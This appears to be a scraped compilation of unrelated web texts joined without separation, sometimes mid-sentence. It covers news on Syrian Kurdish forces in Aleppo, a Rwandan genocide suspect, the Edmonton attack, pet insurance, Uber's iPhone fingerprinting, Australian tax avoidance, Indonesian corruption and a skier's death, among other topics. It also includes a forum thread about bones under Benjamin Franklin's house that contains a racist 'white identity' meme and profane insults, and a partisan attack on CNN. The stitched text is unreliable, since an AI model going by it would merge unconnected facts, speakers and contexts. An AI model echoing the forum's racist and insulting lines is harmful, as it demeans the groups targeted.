Ahmad Araj, a senior official with the Syrian National Democratic Coalition, an opposition organisation that is part of the SDF, went even further, telling AP on Monday there was "something" of an agreement to surrender areas of northeast Aleppo to the SDF's Kurdish-led forces in exchange for guarantees to protect the civilians that come under their care.
He added that it was likely the SDF would absorb Arab fighters and moderate factions into its ranks: "We will coordinate with (the moderates) so we have a shared front."
But according to Mousa, the humanitarian crossing opened in Bustan al-Basha towards the Sheikh Maqsoud district came under YPG control after fierce clashes with rebel groups that had been in control the area.
“There were no negotiations nor was there an agreement reached between the rebels and the YPG,” said Mousa.
Shimale confirmed these reports after speaking to rebel fighters in Aleppo.
“The rebels haven’t negotiated or cooperated with the Kurdish forces at all, not about opening a humanitarian corridor nor joining their ranks to fight alongside one another,” said Shimale.
At the same time however, activists on the ground have reported civilians choosing to move towards Kurdish controlled areas feeling that they would be more likely to find safety under the YPG than in government-held areas.
“Residents of Aleppo have been fleeing to Sheikh Maqsoud and other Kurdish controlled areas because they feel they can trust the Kurds rather than the government,” said Najmeldin Khaled, an Aleppo-based journalist with the Shahba news agency.
The UN reported on Tuesday that 16,000 people fled from Aleppo with at least 8,000 moving into Kurdish-held areas according to SDF sources.
Friends or foes
Kurdish-led forces and the Syrian government ought to have no truck with each other since the Kurds have always opposed successive Syrian government and have suffered years of marginalisation at the hands of the Assad regime.
But the Syrian opposition has continuously accused the Kurds of cooperating with the Syrian government through its ally Russia, where the PYD opened offices in February to forge diplomatic relations with Moscow.
Kurdish relations with Assad and his allies have been complicated however.
For the past five years, the Kurds have carved out a region in the north amid the chaos in Syria, battling groups including Islamic State with their YPG militia while avoiding direct confrontation with Syrian government forces.
The Kurds’ resistance against IS won favour with the US, which first intervened on the side of the YPG with airstrikes in September 2014, when the militants looked poised to overrun the border town of Kobani.
Since then, cooperation between the two sides has deepened, with the US supporting the Kurds as part of the broader Syrian Democratic Forces.
But earlier this year, former British foreign secretary Philip Hammond announced that “disturbing evidence” had revealed that the YPG is coordinating with Syrian regime and the Russian air force.
And political and media advisor to the Syrian government Buthaina Shaaban said in a 20 February statement that Kurdish forces are coordinating with the Syrian government and Russia.
In the early days of the uprising, Assad withdrew most of his forces from Kurdish areas to focus on fighting rebels, leaving a small contingent of soldiers to man government bases in Hasaka and Qamishli.
Despite ongoing clashes between the army and the Kurdish forces across different parts of Syria, experts have pointed towards increased coordination between the two since July.
Fabrice Balanche, an associate professor and research director at the University of Lyon, said there had been co-ordination between Kurdish and Syrian government forces in Aleppo for some time.
He said the "supporting role" of Kurdish forces was crucial for the Syrian army to cut off the Castello Road, which linked east Aleppo with areas outside the city in July this year.
In an article published by the Washington Institute in July, he wrote: “From Sheikh Maqsoud, the YPG fired on the rebels defending the Castello Road. The YPG also attacked the Bani Zaid district, to the west of Sheikh Maqsoud, forcing the rebels to retreat to avoid being caught between the Syrian army and the Kurdish forces.”
“Whereas the YPG might have remained neutral in this battle, the group clearly indicated its preference through its actions, contributing to its overall strategy of co-operating with Russia in order to connect the Kurdish enclaves of Afrin and Kobane.”
But according to Alexander Clarkson, a lecturer in international studies at King's College London, any co-operation may be more through convenience than shared goals.
"The regime-YPG relationship is not stable. There isn't any particular sentiment tying the two together," he told MEE.
Sheikh Maqsoud journalist Mousa believed the apparent co-operation was unlikely to last. “Even if they are friends, they are enemies at the same time.”Queen Rosalie Gicanda (L) was revered by many Tutsis One of the most wanted suspects in Rwanda's 1994 genocide has been arrested in Uganda. Idelphonse Nizeyimana was an intelligence chief at the time of the genocide, in which about 800,000 Tutsis and moderate Hutus were killed. He has been extradited to Tanzania for trial at a UN-backed tribunal, accused of organising the killing of thousands - including the former Tutsi queen. Rwanda welcomed the arrest but said he should be tried in his country. "There is no time limit for justice, whether it comes fast or slow it is something we want to see," said Augustine Nkusi, a spokesman for the prosecutor-general. RWANDA GENOCIDE 6 April 1994President Juvenal Habyarimana dies when plane shot down April-July Estimated 800,000 Tutsis and moderate Hutus killed July Tutsi-led rebels capture Kigali July Two million Hutus flee, sparking years of regional unrest
Profile: Idelphonse Nizeyimana Audio slideshow: 100 days Rwanda's ghosts refuse to be buried "Fifteen years is very little compared to what was committed in Rwanda. There are many victims who have not yet forgotten, who have not yet received justice." Mr Nizeyimana, an army captain, was head of intelligence and military operations at Rwanda's elite military training school, the ESO, during the genocide. The lengthy indictment says he elaborated, adhered to and executed a plan to wipe out the Tutsis - the minority in a country ruled by a Hutu government for more than three decades. He is accused of setting up special military units to help carry out the slaughter. One of these units is believed to have killed Queen Rosalie Gicanda, widow of King Mutara III who died in 1959 shortly before the country became a republic. Please turn on JavaScript. Media requires JavaScript to play. According to a 1999 report by US-based Human Rights Watch, Hutu soldiers took the queen from her home in the south-eastern town of Butare and shot her behind the national museum. They also murdered several women who looked after the queen, who was about 80 years old when she died. Another charge against Mr Nizeyimana is that he ordered the establishment of roadblocks at which Tutsis were captured before being murdered. And troops said to have been under his command rampaged through the University of Butare, killing lecturers and students in what was seen as an attempt to wipe out the Tutsi intelligentsia. Falso documents Like an estimated two million Rwandan Hutus, Mr Nizeyimana fled after the genocide and took refuge in neighbouring DR Congo. Idelphonse Nizeyimana allegedly helped draw up death lists Officials believe that there he was active in a pro-Hutu rebel army called Democratic Front for the Liberation of Rwanda (FDLR). The BBC's Geoffrey Mutogoma in Kigali says it is believed he rose to the rank of colonel in the FDLR and Rwandan officials hope his arrest will disrupt its activities. He was arrested in a modest hotel in the Ugandan capital, Kampala. Ugandan police said he had crossed the border from DR Congo last week, and was heading for Kenya with false travel documents. The International Criminal Tribunal for Rwanda, based in Arusha, Tanzania, said he would appear before the judges in the coming days. The tribunal, which is due to finish its work by the end of next year, says it is still trying to find 11 fugitives. So far 40 people have been convicted of crimes connected with the genocide.
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StumbleUpon What are these? E-mail this to a friend Printable versionFormer federal defence minister and United Conservative Party leadership candidate Jason Kenney has weighed in on Saturday’s vehicle attacks in Edmonton that injured a police officer and four pedestrians.
“It’s outrageous that someone would bring hatred from a foreign country and attack their fellow Canadians and a peace officer,” Kenney said in Calgary on Wednesday. “All I can do is say thanks for Const. Chernyk, an amazing Canadian.”
“And thank goodness that more damage was not done by this terrorist criminal, who I hope will be kicked out of the country.”
Kenney was speaking about Abdulahi Sharif, who is charged with five counts of attempted murder, five counts of dangerous operation of a motor vehicle, one count of criminal flight causing bodily harm and one count of possession of a weapon.
READ MORE: Absence of criminal activity allowed Edmonton terror suspect to enter Canada despite U.S. deportation order
Sharif had been detained in the United States and ordered to be deported in 2011, but because he was not detained for criminal activity he was able to make an asylum claim in Canada. He achieved refugee status in 2012.
According to Kenney, there is no reason that anyone would need to seek asylum in Canada from the United States.
“The United States has a fair and independent refugee determination system,” he said. “There is no reason we should allow anybody to ‘asylum shop’ by moving from the U.S., if their claim is rejected, up here to Canada.
“Illegal migrants are fleeing north into our border, abusing our generosity, clogging up our asylum system – when they have no business doing so,” he said. “If they’re in the United States, they can go through the American refugee system.”
“If they’re rejected, then they should go back to the country they came from.”
Kenney held several prominent cabinet posts while Stephen Harper was prime minister. From 2008 to 2013, he served as minister of citizenship, immigration and multiculturalism and he became defence minister in 2015. He stressed the importance of closing loopholes in immigration and asylum-seeking laws, which he said was once of his main goals in the federal government.
Since Saturday’s attacks and the revelation Sharif is a Somali refugee, questions have been raised about Sharif being accepted in Canada despite the U.S. earlier ordering him removed to Somalia.
READ MORE: Abdulahi Sharif, accused in Edmonton attacks, ordered deported to Somalia in 2011: U.S. officials
In his time in federal office, Kenney said he worked to give law enforcement more power to detain refugees when it was suspected they may commit a crime. He also increased the amount of information-sharing between Canada and the United States.
“When an asylum claimant makes a claim in Canada, we take their fingerprints and we bounce that off against U.S. watch lists,” Kenney explained. “And the Americans would have, in that case, told us this guy was under a deportation order. Unfortunately that didn’t come into effect until 2013, the year after this person entered Canada.”
Earlier this week, Prime Minister Justin Trudeau said the federal government will be examining the circumstances that allowed Sharif into Canada.Image copyright Getty Images
A bearded dragon with an abscess, and a Burmese python with anorexia were among a record number of pets treated under insurance policies last year.
The bearded dragon, a kind of lizard, had its sore jaw treated at a cost of £410.
The food-resistant python proved even more expensive, costing £790 to treat.
They were both among 932,000 pet insurance claims made in 2016, according to the Association of British Insurers (ABI).
The total amount paid out to policy-holders was £706m, a 7% increase on 2015 and also a record high.
Among other unusual treatments were:
A cocker spaniel which swallowed a turkey baster on Christmas day
A white cockatoo with respiratory problems
An English springer spaniel which swallowed a grass seed and needed surgery costing £3,400
A lethargic cat which cost £366 to cure
The average cost of a claim is now £757, a 5% rise on 2015.
"There is no NHS for pets, and the cost of getting quality veterinary treatment can quickly run into thousands of pounds, particularly with rising veterinary costs and a greater range of medical treatments for pets now available," said Rebecca Hollingsworth, general insurance policy adviser at the ABI.
However most pet owners do not bother with insurance.
Only 30% of dog owners and 16% of cat owners pay for an annual policy.Hey guys! I wanted to share this tool for anyone looking to add the classic mission of checking out a Derelict Spacecraft to their game. It is called The Starship from Hell. This free tool is very good to use in collaboration with Dark Heresy RPG, Star Wars RPG, Dread the Horror RPG, or any other science fiction horror game.
“The Starship From Hell is a system-agonistic toolkit to be used at the table during Sci-Fi RPG sessions. With a handful of dice, generate a starship’s Type, Category, Name, Nearyby Phenomena, Reason for Distress Signal, Dangerous Cargo, and Passengers or Crew members with horrific secrets.”
Download it for FREE HERE
I rolled up an adventure using this adventure. Here was the premise from using this tool.
Section 1: Ship Generator page (My roll results)
Ship Type (d10) 10
Ship Category (d10) 5
Ship Class (d20) 6
Ship Names (d100) 46
Passengers (d10) 7
Phenomena (d12) 12
Distress Signal (d12) 11
Threats (d20) 17
Secrets (d20) 13
Ship Name: The Incarnate
Type: Star League Heavy Decker: A combat ship equipped with an experimental weapon. When it fails (obviously, it will fail), all hell will break loose. Medium speed; high shields; medium maneuverability; high weapons; medium sensors.
Current crew: Soldiers deserting their post. They refuse to fight in the name of profit, and they’ve got access to information that may help the PCs navigate this sector.
Phenomena: A rogue quasar appears to have detached itself from the center of a galaxy and is moving through space; though still light-years away, its energy output is horrifying (emitting about 500 times the energy output of this galaxy).
Distress Signal: Adrift: All trace connection to the brain-frame has been lost,
and the captain no longer has control of the ship. Something else is trying to establish a remote connection to the brainframe; the crew doesn’t recognize the cortical pattern, and they’re terrified.
Threats: The ship’s system takes over the player characters’ vessel, rendering it inoperable. The crew claim that they don’t know how or why this is happening.
Secret: The genetic bomb on board this ship will destroy all beings of a certain genotype; the warhead is aimed directly at the nearest habitable planet. The captain and members of his senior staff are all in on the plan, and they’ll kill anyone who tries to interfere.
AdvertisementsSo now you're caught up.
The creators of the show, Edward Kitsis and Adam Horowitz, recently dropped some hints about what to expect this season. By now it's well-known that the Wicked Witch of the West, who's name was revealed as Zelena and is played by actress Rebecca Mader, will be making her presence felt in the Enchanted Forest. She may have done some redecorating since both Evil Queen Regina and princess Snow White last wrestled to rule the kingdom.
When last we left Emma, she and Henry were living in New York, free of any memories of their time in Storybrooke and the existence of fairy tale characters. How and if she gets her memory back will be something to watch out for, as well as fairy tale influences on her life that she may be completely unaware of while in the Big Apple. What could be more interesting is getting Henry, who has 'the heart of the truest believer,' to actually believe that there is a world outside of his urban, video-game-and-pancakes existence that involves magic.
"Emma has a lot to deal with," said Horowitz. "Her heart is all over the place, and things will happen that force Emma to choose sides."
TIMELINE: Snow White through the yearsBy @MichaelCaples –
MT. CLEMENS – There was tension. There was drama. There was backstabbing.
OK so there wasn’t.
It was rather ridiculous, actually.
One would expect a little more professionalism on a day that held such a great deal of importance for the 2017 Eastside Elite Hockey League All-Star Challenge hopefuls.
But this guy was in charge, so, what more could you expect.
And he let these guys pick the teams.
Here are the results. We have video footage from the draft and deep, insightful interviews immediately after the conclusion of the event with two of the Team Captains. We also checked in with the first overall pick and the last overall pick to gauge their reactions, feelings, interest level in the event itself, etc.
By the way, the 2017 Eastside Elite Hockey League All-Star Challenge will take place on July 27 at the Mount Clemens Ice Arena. Tickets are $15, and fans in attendance will see two semifinal contests, a championship game, and an all-star game for the women’s division of the Eastside Elite Hockey League, as well.
It is important to note that these picks are in order of selection, which means Oleksy was taken in the seventh round of his own all-star game (more on that later).
Team DeKeyser
Shawn Szydlowski
Austin Czarnik
Austin Grzenia
Charles Williams (goaltender)
Mackenzie MacEachern
Garret Ross
Steve Oleksy
Reed Seckel
Jack Kopacka (sub)
Team Larkin
Alex DeBrincat
Tyler Spezia
Paul Cotter
Ryan Larkin (goaltender)
Nolan Valleau
Josh Jacobs
Zack Szajner
Andrew DeBrincat
Corey Tropp (sub)
Team Werenski
Alex Kile
Taylor Fernandez
Christian Sabin
Cam Johnson (goaltender)
Colin Larkin (yeah, Dylan’s brother)
Wyatt Bongiovanni
Shane Bednard
John Gruden
Bobby Shea (sub)
Team Namestnikov
Seth Griffith
Max Milosek (goaltender)
Nick Schilkey
Matt Taormina
Drake Rymsha
Thomas Ebbing
Matt DeBlouw
Dan Milan
Matt Williams (sub)
Some highlights (and stay tuned for some HBO 24/7 quality videos):Ice core records are rich archives of the climate history during glacial-interglacial cycles over timescales of up to ~800 kyr before the current age. In ice core studies, the accurate and precise dating of the core samples is a central issue that must be investigated to better constrain the timing, sequence, and duration of past climatic events.
To help solve this issue, two deep ice cores were drilled at the remote dome summits Dome Fuji (DF) and EPICA Dome C (EDC) in Antarctica and were subsequently synchronized in time by matching identical volcanic events. Precise synchronization was possible because large volcanic eruptions on the earth can be commonly identified in ice cores due to the presence of high concentrations of sulfuric acid. A total of 1401 volcanic matching points were identified within the past 216 kyr. These matching points were then used to precisely compare the two chronologies between these ice cores. The ages between the matching points in the cores were within 2 kyr, except during the last interglacial period referred to as "Marine Isotope Stage (MIS) 5," which occurred from 80-130 kya. The DF core produced ages that were older than the EDC core, with peak values in the age difference of 4.5 kyr at MIS 5d (ca. 120 kya) and 3.1kyr at MIS 5b (ca. 90 kya).
The causes of the age differences at MIS 5 were proposed to occur from (i) an overestimation of the surface mass balance at around MIS 5d-6 in the glaciological model, and (ii) an error in one of the age constraints by ~3 kyr at MIS 5b. Additionally, we found that changes in the water stable isotope signatures in the ice at DF tended to occur before the same changes at EDC, with the time between changes being more pronounced during cold periods. The results suggested that signals that were indicative of abrupt climate change tended to propagate first at DF and later at EDC. The results of the research have been published in the journal Climate of the Past.
Dr. Shuji Fujita of the National Institute of Polar Research, Tokyo, is one of the two lead authors on the paper and has commented: "Our work contributes establishing a common time scale of ice cores and will be extremely important in studies of temporal and spatial propagation of abrupt climate change in the Antarctic."Uber CEO Travis Kalanick.
Uber’s recent string of bad press — high-level executives heading for the hills, #DeleteUber, allegations of rampant discrimination — has started to include not just the, um, dubious things Uber has done of late, but also some potentially shady parts of its past. According to a new piece from Mike Isaac at the New York Times over the weekend, back in 2015 the company allegedly used a secret code to tag and track iPhones even after phone owners had deleted the app. The tactic was reportedly used to deter people — namely new drivers in China — who were downloading, deleting, and re-downloading the app to sign up with multiple email addresses and capitalize (and re-capitalize) on new-driver incentives. (Uber ultimately failed in China, but at this point it was heavily investing in an attempt to conquer the nation’s ride-hailing market.)
When an iPhone user wipes their phone clean, it’s supposed to be just that: clean. According to Apple policy, doing so should leave a phone with no traces or record of its previous owners. To get around this, the New York Times reports, Uber added a “fingerprint” to each iPhone it was monitoring, or a tiny piece of code that allowed the company to track the devices even after they were wiped clean by their owners. In order to avoid getting in trouble with Apple, Uber geo-fenced the company in a way that would hide the secret fingerprint code to anyone inside the area. (This feels similar to another tactic Uber was recently discovered to have employed where a secret software called Greyball was used to tag and track law-enforcement officials who might hurt the company’s business.)
Apple eventually got wise. Tim Cook reportedly called Kalanick in for a meeting in Cupertino: “So, I’ve heard you’ve been breaking some of our rules.” Post-meeting Kalanick stopped the fingerprinting process, with a source telling the Times he was “shaken” by the “scolding.”
Update, April, 24, 2017, at 11 a.m.: Uber provided Select All with the following statement regarding the New York Times report.
We absolutely do not track individual users or their location if they’ve deleted the app. As the New York Times story notes towards the very end, this is a typical way to prevent fraudsters from loading Uber onto a stolen phone, putting in a stolen credit card, taking an expensive ride and then wiping the phone — over and over again. Similar techniques are also used for detecting and blocking suspicious logins to protect our users’ accounts. Being able to recognize known bad actors when they try to get back onto our network is an important security measure for both Uber and our users.Labor frontbencher Sam Dastyari is going after banks and utility companies charging for paper bills they used to send out for free. Credit:Daniel Munoz Fairfax Media understands it will make 18 recommendations, including the new transparency requirements and four specific measures requested by the Australian Securities and Investments Commission. One of these would allow ASIC to pass intelligence on suspect tax matters to the ATO without the current legal requirement to inform the company in its sights. The corporate tax avoidance inquiry was established in October in response to a Fairfax Media report that revealed a third of Australia's largest companies pay less than 10¢ in the dollar in tax compared to the 30 per cent corporate tax rate. The tax foregone in the decade to 2013 was $80 billion. But it was the appearance of Google, Microsoft and Apple in front of the committee that drove home how "simple" tax minimisation was for multinationals operating in Australia, according to senators. Apple, for example, paid just $80 million in tax in Australian on sales of $6 billion.
Independent Senator Nick Xenophon sought the review and a federal police investigation after Jack Warner's arrest by US authorities. Credit:Quinn Rooney On Saturday, Senator Dastyari said: "There is a major flaw in our tax system that is enabling some of the biggest companies in the world to evade billions in tax that should be paid in Australia. It's time we name and shame our worst tax dodgers." Senator Nick Xenophon believes the committee's report, which was being considered by the government over the weekend, will provide a "template" to fight back. "After this report is handed down, no government will again be able to turn a blind eye to the bleeding obvious that the way we have tackled aggressive tax minimisation in the past has been woefully inadequate. Successive Australian governments have been hoodwinked by some companies," he said. Government sources said there was significant bipartisanship on transparency but a dissenting report to the committee's report will argue against some recommendations that could lead to "duplication" of measures already proposed to combat tax avoidance. The government will push back at the committee's failure to acknowledge its work towards a global crackdown on "base erosion and profit shifting".
The government was due to submit dissenting comments by Friday but was considering its position on Saturday. There is some nervousness in Coalition ranks about a tax evasion investigation to be aired by Channel Seven's high-rating Sunday Night program. Treasurer Joe Hockey flagged and then retreated from imposing a diverted profits tax like Britain's "Google tax" but promised action in this year's budget. A bill for Mr Hockey's multinational anti-avoidance law, aimed at 30 companies, will be introduced soon. Christine Milne, the former Greens leader who has left Parliament but was sent a copy of the committee's report, said she "felt sick" when business groups and members of the government talk up the need for GST reform but ignore the billions of dollars being lost to the corporate sector in foregone tax.Stop now or face the sack. That was the unequivocal warning Indonesian President Joko Widodo issued to officials in his government who still think they can get away with corrupt practices.
Those strong words came during a surprise visit to the Transportation Ministry late on Tuesday night after six officials, including two from the ministry, were arrested earlier in the day for soliciting pungli, the local jargon for "illegal fees" or bribes.
More than a billion rupiah ($106,000) was seized during a sting operation which involved the collection of unofficial levies in exchange for the permits of sailors.
In what was a rare show of anger, Mr Joko lambasted the suspects and reminded others that he will not tolerate such acts of corruption, collusion and nepotism at any level of his government.
The warning, which the President reiterated partly in English, came just hours after he led a Cabinet meeting to draw up what he hopes would be sweeping legal reforms. Among the objectives are plans to put an end to the practice of pungli, speed up various licensing processes and improve public services. It also includes the creation of an online whistleblowing platform for people to report on corrupt officials.
Indonesian President Joko Widodo has pledged to do more to put an end to corruption in the country as he approaches his second year in office next Thursday. PHOTO: REUTERS
Wiping out institutional corruption and increasing transparency in his government were key campaign promises when Mr Joko was running for office in 2014. The businessman-turned- politician has always shown a deep disgust for bureaucratic red tape and corrupt officials looking to line their pockets at the expense of citizens and businesses, including foreign investors wanting to set foot in the largest South-east Asian economy.
It has not been lost on him that, as he approaches the end of his second year as head of state next Thursday, more still needs to be done about the menace of corruption. He said as much during Tuesday's Cabinet meeting when he pointed out that Indonesia's goal of being a "state of justice" has not been realised by his administration or society at large. He also referred to Transparency International's Corruption Perception Index where Indonesia ranked 88th out of 167 countries, and cautioned that public distrust in the government as well as the justice system would escalate if reforms were not carried out soon.
There is a practical side to advocating for transparency in a country where shady deals, weak regulatory administration and enforcement as well as other illicit but traditional practices such as pungli have long undermined its growth.
Increasing transparency will pave the way for more private-sector participation in the many infrastructure development projects Mr Joko hopes to deliver to the people of Indonesia. These include a 2,800km toll road, high-speed railways and airports.
The businessman-turned- politician has always shown a deep disgust for bureaucratic red tape and corrupt officials looking to line their pockets at the expense of citizens and businesses... It has not been lost on him that, as he approaches the end of his second year as head of state next Thursday, more still needs to be done about the menace of corruption.
The President has pushed infrastructure spending up by 51 per cent to 209 trillion rupiah between 2014 and last year. But critics have pointed out that it was still below the 63 per cent increase originally planned.
Progress on the projects, most of which are driven by the Transportation Ministry, have been slow due to budget cuts this year.
The ministry, whose 48.5 trillion rupiah budget was reduced by 17 per cent this year, has been struggling to attract private-sector partners to invest in infrastructure projects worth 791 trillion rupiah.
Many public-private partnership projects for tender have not received bids and "strong political will will be a critical factor in driving forward bottlenecked projects", accounting firm PwC said in a report released on Tuesday.
The firm added that while infrastructure continues to be a top priority for the Jokowi administration, "historic obstacles remain to be addressed... by any investor considering the Indonesian market".
Top on the list are the lack of transparency in the pipeline of projects, an uncertain legal or regulatory framework, an unreliable judicial system, and poor coordination between different government agencies among others, said PwC.
The firm's Indonesia infrastructure adviser Julian Smith, however, noted "real progress in these areas in the last year".
"So given the government's focus and progress, Indonesia is a market which international infrastructure companies should not ignore," he added.
The President has his work cut out for him, especially with growth in infrastructure spending expected to slow down due to the global downturn in the months ahead. But the signs are clear that his priority of building a clean government remains.A 17-year-old German skier has died after a crash at Lake Louise Tuesday.
The teen, who has been identified by Alpine Canada as Max Burkhart, was competing in the downhill event at the Nor-Am Cup when he went off the course and into the safety netting during an afternoon run.
Ski patrollers and EMS worked to stabilize the skier as a STARS air ambulance was dispatched to transport the teen to Foothills Medical Centre in Calgary.
RCMP say Burkhart succumbed to his injuries Wednesday in hospital.
'Tragic loss of life'
The North American Cup at Lake Louise is run by Alpine Canada, which is the national governing body for the sport.
"Alpine Canada and Alberta Alpine are devastated about this tragic loss of life and sends its deepest condolences to his family and teammates," Alpine Canada said in a release.
"Alpine Canada and Alberta Alpine encourage the ski family around the world to support the athletes' family and teammate through this difficult time."
Burkhart's death comes soon after another ski tragedy
The race was run on the same hill used for the first World Cup women's downhills of the season on Friday and Saturday that also produced several crashes, including one by American Lindsey Vonn, who careened into three sets of safety netting before coming to stop.
The most successful women's skier of all-time with 77 career wins, including 18 at the Canadian resort, laid motionless but eventually got up and skied to the bottom of the course uninjured.
Burkhart's death comes soon after another tragedy.
French downhiller David Poisson was killed in a training run crash at nearby Nakiska ski resort on Nov. 13 as he prepared for the first men's World Cup downhill of the season.Why is there not serious and widespread public engagement with these issues — and many others that could easily come to mind? That kind of engagement would lead to creative new ideas and would serve to enrich the lives of individual Americans and the nation as a whole. But it would require a heavy social and intellectual lift.
According to a new report from the College Board, the U.S. is 12th among developed nations in the percentage of 25- to 34-year-olds with college degrees. The report said, “As America’s aging and highly educated work force moves into retirement, the nation will rely on young Americans to increase our standing in the world.”
The problem is that today’s young Americans are not coming close to acquiring the education and training needed to carry out that mission. They’re not even in the ballpark. In that key group, 25- to 34-year-olds with a college degree, the U.S. ranks behind Canada, South Korea, Russia, Japan, New Zealand, Ireland, Norway, Israel, France, Belgium and Australia. That is beyond pathetic.
Photo
“While the nation struggles to strengthen the economy,” the report said, “the educational capacity of our country continues to decline.”
Everybody is to blame — parents, students, the educational establishment, government leaders, the news media and on and on. A society that closes its eyes to the most important issues of the day, that often holds intellectual achievement in contempt, that is more interested in hip-hop and Lady Gaga than educating its young is all but guaranteed to spiral into a decline.
Speaking this week about the shortage of degrees in the 25- to 34-year-old demographic, Gaston Caperton, the president of the College Board and a former governor of West Virginia, said, “When I was in school, we were No. 1 in the world in college graduations. When I was governor, we were third, and I was surprised by that drop. |
cadaver to learn on. Hell, at NYU where I went to med school, we had an abundance of cadavers and could literally check them out from the storage morgue so each group of three or four students had one available. It was a hell of a way to learn anatomy, however.Now if the tuition hadn't been so damned high!
Anonymous Coward
User ID: 822427
Canada
01/13/2010 10:17 PM
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Report Copyright Violation Re: 10 DEAD BODIES FOUND UNDER BEN FRANKLINS HOME DATE TO TIME HE LIVED THERE I question whether some of you can read at all.
Quoting: Anonymous Coward 861034
Yeah they can, but its only title deep. Yeah they can, but its only title deep.
Anonymous Coward
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01/13/2010 10:21 PM
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Report Copyright Violation Re: 10 DEAD BODIES FOUND UNDER BEN FRANKLINS HOME DATE TO TIME HE LIVED THERE Let's dig up old Ben, scan him with a full body scanner, take a census, give him a swine flu shot, collect back taxes, charge him with a crime, and throw that fucker in the hole.
Emmeric
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01/13/2010 10:23 PM
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Report Copyright Violation Re: 10 DEAD BODIES FOUND UNDER BEN FRANKLINS HOME DATE TO TIME HE LIVED THERE
When blacks have identity it is called pride.
When indians have identity it is called culture.
When Jewish people have identity it is called history.
When WHITES have identity it is called Racism.
Anonymous Coward
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01/25/2010 11:36 AM
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Report Copyright Violation Re: 10 DEAD BODIES FOUND UNDER BEN FRANKLINS HOME DATE TO TIME HE LIVED THERE Did Ben Know?
OMGDid Ben Know? Quoting: Anonymous Coward 787775
wow what if it came out it was old BF himself. can you imagine the foreign press with this one"
"America's founding father, the serial killer."
"America's Father, taught its country well"
"America, Killing people since 1757" wow what if it came out it was old BF himself. can you imagine the foreign press with this one""America's founding father, the serial killer.""America's Father, taught its country well""America, Killing people since 1757"
Anonymous Coward
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01/25/2010 11:39 AM
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Report Copyright Violation Re: 10 DEAD BODIES FOUND UNDER BEN FRANKLINS HOME DATE TO TIME HE LIVED THERE No big shocker here. I bet they find the same thing 200 years from now under the current elite's homes.
Bunch of fucking satanists.
Anonymous Coward
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01/25/2010 11:42 AM
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Report Copyright Violation Re: 10 DEAD BODIES FOUND UNDER BEN FRANKLINS HOME DATE TO TIME HE LIVED THERE I question whether some of you can read at all.
Yeah they can, but its only title deep.
Quoting: Anonymous Coward 822427
*Shakes head* I, too, despair of reading comprehension. Perhaps if I edit the OP then perhaps it may be easier to understand?
link to healthandsurvival.com]
The principal suspect in the mystery is William Hewson, like Franklin a Fellow of the Royal Society, and the husband of Polly Stevenson, the daughter of Franklin’s landlady, Mary Stevenson.
In the early 1770s Dr Hewson was in partnership with William Hunter, who, with his brother John, was one of the founders of British surgery.
Dr Hunter and Dr Hewson ran a school of anatomy in Soho, but after an argument Dr Hewson left to live in Franklin’s house, where he is believed to have established a rival school and lecture theatre.
Dr Knapman added yesterday: “It is most likely that these are anatomical specimens that Dr Hewson disposed of in his own house, but we are still not certain about the bones’ exact age or origin.”
Evangeline Hunter-Jones, deputy chairman of the Friends of Benjamin Franklin House, the charity concerned with restoring the property and opening it to the public, said:
“The bones were quite deeply buried, probably to hide them because grave robbing was illegal. There could be more buried, and there probably are.” ….read more here..
like Franklin a Fellow of the Royal Society, and the husband of Polly Stevenson, the daughter of Franklin’s landlady, Mary Stevenson.In the early 1770s Dr Hewson was in partnership with William Hunter, who, with his brother John, was one of the founders of British surgery.Dr Hunter and Dr HewsonDr Knapman added yesterday: “, but we are still not certain about the bones’ exact age or origin.”Evangeline Hunter-Jones, deputy chairman of the Friends of Benjamin Franklin House, the charity concerned with restoring the property and opening it to the public, said:“The bones were quite deeply buried, probably to hide them. There could be more buried, and there probably are.” ….read more here.. Quoting: CaptainZero
Maybe that will help. *Shakes head*I, too, despair of reading comprehension. Perhaps if I edit the OP then perhaps it may be easier to understand?Maybe that will help.While preparing my talk for the SymfonyCon in Warsaw (Symfony components in the wild), I realised it would be nice to show what's the adoption of Symfony components. So I wrote a crawler to gather this kind of data from packagist.org and shared it on the conference. This article presents my findings.
The table bellow shows a total number of projects found on packagist.org, which indicated a dependency on either one of the components or the whole framework. I looked for dependencies in the require, require-dev and suggest sections.
Zend Framework is included for comparision, as it's the only other framework I could think of, which is also built in a modular way (kind of).
Out of 4994 packages that depend on Symfony, there's 1911 that depend on the symfony/framework-bundle and 1098 that depend on symfony/symfony. The rest depends on components.
There's also 112 packages depending on both Symfony and Zend Framework.
Total number of packages on packagist.org 24317 Depends on Symfony 4994 Depends on Zend Framework 1356 Other packages 18079
The chart below shows the adoption of components alone. I only included direct dependencies as given in composer.json. The numbers don't include indirect dependencies. For example, Laravel depends on Symfony, but a package which depends on Laravel won't be accounted here, unless it also indicated a dependency on one of the Symfony components.
As you can notice, the yaml component is the most popular one. I guess it shows that there's a need for a natvie yaml support in PHP.
The second place is no surprise either, as the console is one of the most useful components that can be leveraged without the rest of the framework.
Detailed numbers can be found in the table below and here are the results of crawling: results.csv.CNN has already been discredited in the court of public opinion, but that is not enough for Julian Assange. The WikiLeaks founder apparently has the network over a barrel. He is threatening to file a lawsuit for defamation if CNN doesn’t air a one-hour exposé of a sinister plot that it apparently engineered against Assange and WikiLeaks. The plot may have to do with CNN’s attempt to paint Assange as a pedophile.
The WikiLeaker, who helped give the one-time cable news leader a black eye during the presidential race, by revealing among other things that then-CNN commentator Donna Brazile gave Hillary Clinton questions before a debate that was to be moderated by CNN, has given the network 48 hours to comply.
We have issued instructions to sue CNN for defamation:https://t.co/YLfyQ9ROCy Unless within 48h they air a one hour expose of the plot. — WikiLeaks (@wikileaks) January 4, 2017
Trending: You’d never guess from all her crowing, but AOC didn’t come up with the Green New Deal
CNN’s liberal bias has been on full display for a long time. Its typical reporting on conservative points ov view and public figures have amounted to hit pieces, such as when host Christiane Amanpour’s called for marginalizing global warming skeptics — this during her acceptance of a press freedom award.
If Assange does sue, it won’t be the first time CNN has found itself headed to court since the election. In early December, the network was been slapped with a multi-million dollar class action lawsuit alleging racism. The suit, ironically, was filed by its own black employees.
For your convenience, you may leave commments below using either the Spot.IM commenting system or the Facebook commenting system. If Spot.IM is not appearing for you, please disable AdBlock to leave a comment.tati3 How Designers Are Amplifying Their Portfolios in 2019 Need advice on your portfolio? Learn from four wonderful designers, illustrators and artists who share their methods for taking your …
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The Widecombe-in-the-Moor website promotes all aspects of Widecombe and Dartmoor life, past, present and future, for the use of local people, visitors, and all who are interested. Please enjoy exploring the site.
Banner Pictures: You can find out more about the banner pictures in the Banner Gallery
